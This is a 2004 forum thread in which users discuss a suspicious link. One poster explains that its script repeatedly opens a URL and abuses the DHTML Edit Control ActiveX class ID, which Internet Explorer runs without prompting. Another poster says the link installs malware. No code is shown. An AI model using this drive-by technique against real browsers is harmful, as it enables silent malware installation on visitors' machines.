G_Man10110 0 Report post Posted December 23, 2004 I haven't gone to the link, but by the looks of it, it kind of seems as if a virus is going to infect us or something if we go there. I have already rebooted my XP's drivers too may times for me to go to a site where I am just asking for a virus. Share this post Link to post Share on other sites

daniel151405241469 0 Report post Posted December 23, 2004 looking through that script, it seems that it sets a timeout that opens the URL http://forums.xisto.com/no_longer_exists/ every 1000ms (1 second). i haven't actually tested it in IE since i use Opera. AND if you want to know, activex class id '2D360201-FFF5-11d1-8D03-00A0C959BC0A' (the object used in the script) is the DHTML Edit Control. Microsoft has marked this 'safe for scripting', meaning that internet explorer will run the activex control without even asking you... regardless of the security settings (i think).

r3d1405241470 0 Report post Posted December 23, 2004 it's an activex, and that features is only for ie and it won't work for non-ie browser. the link also install a malware automatically and really kick someones *bottom* when visited that with ie browser.

Hercco 0 Report post Posted December 27, 2004 Is it just me or is this all to easy to do? Dammit by just using a right class id you can run scripts even if the user has opted not to do so. Did I misunderstand something or are things this bad with MS? Share this post Link to post Share on other sites
